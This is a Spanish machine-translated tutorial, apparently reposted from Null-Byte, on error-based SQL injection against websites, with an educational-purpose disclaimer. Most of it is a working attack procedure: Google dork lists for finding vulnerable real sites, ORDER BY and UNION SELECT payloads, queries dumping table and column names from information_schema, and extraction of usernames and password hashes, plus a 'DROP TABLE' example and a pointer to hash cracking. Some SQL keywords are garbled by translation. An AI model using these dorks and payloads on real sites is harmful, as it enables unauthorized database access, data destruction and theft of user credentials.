NOTA IMPORTANTE: El delito informático está severamente castigado por la ley. Esta página no promueve el delito informático, es divulgativa y muestra los mecanismos que utilizan los cibercriminales para poder identificar el ataque si has sido victima de uno de ellos. En el caso de que hayas sido victima de un ataque te recomendamos que busques recursos legales en la sección Cibercrime Law o en la página del Instituto Nacional de Ciberseguridad: https://www.incibe.es/

BlogWonderHowTo

HIOB: Serie de piratería de sitios web Parte 1: Piratería de sitios web mediante inyección SQL ~ Basado en errores ~

Hola Null-Byte.

Otro día aburrido y decidí echar un vistazo a Null-Byte para ver algunos tut. No encontré ninguno hoy, así que intenté buscar subprocesos antiguos y encontré Tutoriales de inyección de SQL, pero para mi sorpresa: no había un tutorial sobre basado en errores, normal, tiempo y otros, me refiero a los tipos básicos de inyección de SQL que todos encontramos todos los días. Sin embargo, encontré que eran la mitad …

Hoy, me gustaría pasar mi día aburrido escribiendo un tutorial sobre SQLi Error Based.

SQLi {SQL Injection}

SQLi es una técnica de inyección de código, utilizada para atacar aplicaciones basadas en datos, en la que se insertan sentencias SQL maliciosas en un campo de entrada para su ejecución (por ejemplo, para volcar el contenido de la base de datos al atacante). La inyección de SQL debe aprovechar una vulnerabilidad de seguridad en el software de una aplicación, por ejemplo, cuando la entrada del usuario se filtra incorrectamente para caracteres de escape literal de cadena incrustados en declaraciones SQL o la entrada del usuario no está fuertemente tipada y se ejecuta inesperadamente. La inyección SQL se conoce principalmente como un vector de ataque para sitios web, pero se puede usar para atacar cualquier tipo de base de datos SQL.

Imagine colocar un comando SQL en una base de datos para hacer lo que quiera:
Seleccionar, insertar, actualizar y soltar mi mejor amigo.
Tomemos una aplicación sin filtrar que consulta una base de datos con la entrada preferida del usuario.

Declaración: SELECCIONE DE `users` DONDE` username` = ‘cielo

‘cielo’ son los datos proporcionados por el usuario. ¿Debería un usuario como yo escribir:

> cielo ‘; usuarios de DROP TABLE
> cielo ‘o’ 1 ‘=’ 1

No intente estas consultas en el trabajo de las personas, de lo contrario, causará una gran pérdida de datos al propietario
Consulta1: eliminará el significado del nombre de la tabla: Vacío todos los datos de la tabla

Consulta2: seleccionará todos los datos en la base de datos, podrían ser detalles de tarjetas de crédito: podría causar una gran violación de datos ya que no creo que informaría si encontrara los detalles de la tarjeta de crédito de Obama en la base de datos de la aplicación.

Aunque una o dos personas informarán.
Ok, seamos prácticos.

¿Cómo saber cuándo necesita SQLi basado en errores?
Esta es la parte más importante de la piratería web; el tipo de inyección a utilizar en diferentes situaciones.
Puede utilizar inyecciones basadas en errores en los siguientes errores que obtenga:

> Columna desconocida en ‘cláusula de pedido’
> Las sentencias SELECT utilizadas tienen un número diferente de columnas
> Tiene un error en su sintaxis SQL; consultar el manual …
> Advertencia: ….

Hay otros pero esto es lo que más se suele encontrar …
Ahora tome nota de estos errores. Los necesitarás

SQLi: basado en errores
Comencemos por encontrar algunos sitios vulnerables. Hay muchos sitios vulnerables, así que espero que encuentres uno bueno y agradable.
Puede buscar sitios vulnerables a través de idiotas vulnerables:

_trainers.php? id =
play_old.php? id =
declaración_more.php? decl_id =
Pageid =
games.php? id =
newsDetail.php? id =
staff_id =
historialeer.php? num =
producto-artículo.php? id =
news_view.php? id =
humor.php? id =
detail.php? id =
sem.php3? id =
opiniones.php? id =
spr.php? id =
pages.php? id =
chappies.php? id =

Puedes conseguir mas aquí

  1. Abre Google:
  2. Tipo: inurl: seguido de nuestro idiota:

inurl: game.php? id =

Ahora, cuando se le presenten los resultados de la búsqueda:
Tómese su tiempo y visite cada sitio con cuidado

  1. Para comprobar si un sitio es vulnerable: aplique un apóstofo ( )

Si encuentra los errores que especifiqué anteriormente, estamos listos para ir; de lo contrario, pruebe con otro sitio: Regrese cuando encuentre uno.

  1. Encontrar columnas vulnerables.

Anexar un ordenar por declaración seguida de un número entero creciente y dos guiones hasta que obtenga un error.
> http://vulnerablesite.com/buy.php?id=5 ordenar por 1–

Si no obtiene ningún error, aumente 1 hasta que obtenga un error.
Si obtiene un error en 5: Entonces tenga en cuenta que las columnas son 4.
Así es como es la cosa: El número obtiene un error menos 1.
Error en el número 4: entonces las columnas vulnerables son 3.
Espero que lo hayas entendido, no soy una buena profesora.

> http://vulnerablesite.com/buy.php?id=5 ordenar por 1– No hay error
> http://vulnerablesite.com/buy.php?id=5 ordenar por 2– No hay error
> http://vulnerablesite.com/buy.php?id=5 ordenar por 3– No hay error
> http://vulnerablesite.com/buy.php?id=5 ordenar por 4– No hay error
> http://vulnerablesite.com/buy.php?id=5 ordenar por 5– error

La columna Vulnerable es el último índice sin error: que es 4.

  1. Comprobación de la función de selección de unión

Necesitaremos nuestro número de columna vulnerable aquí …
Arriba tenemos 4, es decir, 1, 2, 3, 4–

Ahora necesitamos encontrar las columnas inyectables …

Para hacer eso, la URL del sitio seguida de la función de selección de unión y las columnas vulnerables y también seguida de nuestros dos guiones (-) …

> http://vulnerablesite.com/buy.php?id=5 columnas de selección de unión –

URL completa: http://vulnerablesite.com/buy.php?id=5 unión seleccionar 1,2,3,4–

Luego de hacer la ejecución de la url …. Necesitaremos estudiar la página para encontrar los números que aparecen porque son nuestra única puerta de entrada para inyectar comandos a la base de datos … Estudie la imagen: Normal y After Query

Del estudio de la página: After Query …
Resultado: 2,3,4

Las columnas inyectables son 2,3,4

  1. Obtener el nombre de la base de datos; Versión de la base de datos; Usuario actual de la base de datos

Nombre de la base de datos

Ahora de las columnas inyectables anteriores 2,3,4 …. Podríamos reemplazar cualquiera de ellos con nuestra consulta … Elegiremos 2

Para obtener el nombre de la base de datos: Reemplace la columna inyectable preferida con base de datos()

Estudiar: Antes de ejecutar la consulta … Añada un guión antes de nuestro parámetro id y continúe con la consulta id = -5

En esta publicación, tenemos columnas vulnerables { 1,2,3,4 } y columnas inyectables { 2,3,4 } …. Debe tomar nota de estos parámetros .. Ya que elegimos 2 como nuestro número de columna inyectable preferido … Así será la consulta …

> http://site.com/buy.php?id=-5 union select 1, database (), 3,4–

darse cuenta Reemplazamos nuestra columna inyectable preferida 2 con la consulta base de datos()

> http://vulnerablesite.com/buy.php?id=-5 union select 1, database (), 3,4–

Nota Nuestro número de columna inyectable preferido se reemplazará con la salida de la base de datos …

Resultado: btslab

Mis resultados serán diferentes a los tuyos, ya que estoy usando mi host local, no un sitio web real, así que no seas como … No estás haciendo lo correcto …

Versión de base de datos
Muy simple: Simplemente reemplace la base de datos () con la versión @@

Resultado: 5.6.20

Usuario actual de la base de datos
Lo mismo se aplica al usuario de la base de datos Simplemente reemplace la versión @@ con el usuario ()

Resultado: root @ localhost

  1. Obtener la tabla actual en la base de datos {BTSLAB}

Reemplazar parámetro con y 1 = 2 union select 1, group_concat (table_name), 3,4 de information_schema.tables donde table_schema = database () –

URL completa: http://target.com/buy.php?id=-5 y 1 = 2 union select 1, group_concat (table_name), 3,4 de information_schema.tables donde table_schema = database () –

Resultado: publicaciones, usuarios

  1. Obtener columnas de la tabla

No sé ustedes pero: no iré a la mesa:publicaciones mientras he visto mesa:usuarios ………. “Demonios, sí … Obteniendo Mesa: usuarios”

: Usando la tabla – usuarios

Advertencia: deberá convertir el nombre de la tabla a MYSQL Char

Descarga HackBar
Haga clic en el menú desplegable: SQL y haga clic en Mysql …. Aparece otro menú desplegable y elija MySQL Char ()

Después de elegir MySQL Char () … Aparecerá un cuadro de diálogo de la aplicación javascript y nos pedirá que se convierta nuestro texto … Escribimos nuestro nombre de tabla preferido … usuario

Después de hacer clic en Aceptar … El texto convertido se puede encontrar en la barra de trabajo del complemento …

Ahora usuario ==> CHAR (117, 115,101, 114, 115)
Hecho

Continuemos con nuestra consulta …

Reemplazar parámetro con y 1 = 2 union select 1, group_concat (column_name), 3,4 from information_schema.columns donde table_name = CHAR (117, 115, 101, 114, 115) –

Nota: nombre de la tabla: los usuarios se han convertido.

URL completa: http://target.com/buy.php?id=-5 y 1 = 2 union select 1, group_concat (column_name), 3,4 from information_schema.columns donde table_name = CHAR (117, 115, 101, 114, 115) –

Resultado: ID, nombre de usuario, correo electrónico, contraseña, acerca de, privilegio, avatar, USUARIO, CURRENT_CONNECTIONS, TOTAL_CONNECTIONS

  1. Obtener datos de columna de un nombre de columna seleccionado

Todavía no sé ustedes, pero voy a buscar datos de columna:
nombre de usuario y contraseña

Reemplazar parámetro con y 1 = 2 union select 1, group_concat (nombre de usuario, 0x3a, contraseña), 3,4 de los usuarios–

URL completa: http://target.com/buy.php?id=-5 y 1 = 2 union select 1, group_concat (nombre de usuario, 0x3a, contraseña), 3,4 de los usuarios–

Resultado: cielo: bbc206c3aeebe3ed00cd14ec6e7f862c

  1. Lo que hagas con los datos no es de mi parte

Ahora puedes intentar descifrar el hash con servicios en línea … Creé uno hace algún tiempo … Puedes ir a mi servicio aquí

Que tenga un lindo día !!! ….
Y tenga la amabilidad de informar si encuentra alguna vulnerabilidad en mi sitio web …
Perdón por el mal inglés y el artículo largo … QUERÍA EXPRESARME … Los veo más tarde chicos …
Corrígeme si escribí mal o hice un movimiento incorrecto …

Y … lo último que no quiero perderme, de lo contrario, llevar mis traseros a la cárcel … Este tutorial es para Propósitos educativos. Gracias.

#Cielo

Publicaciones relacionadas

Deja una respuesta

Tu dirección de correo electrónico no será publicada. Los campos obligatorios están marcados con *

Mira también
Cerrar
Botón volver arriba
Cerrar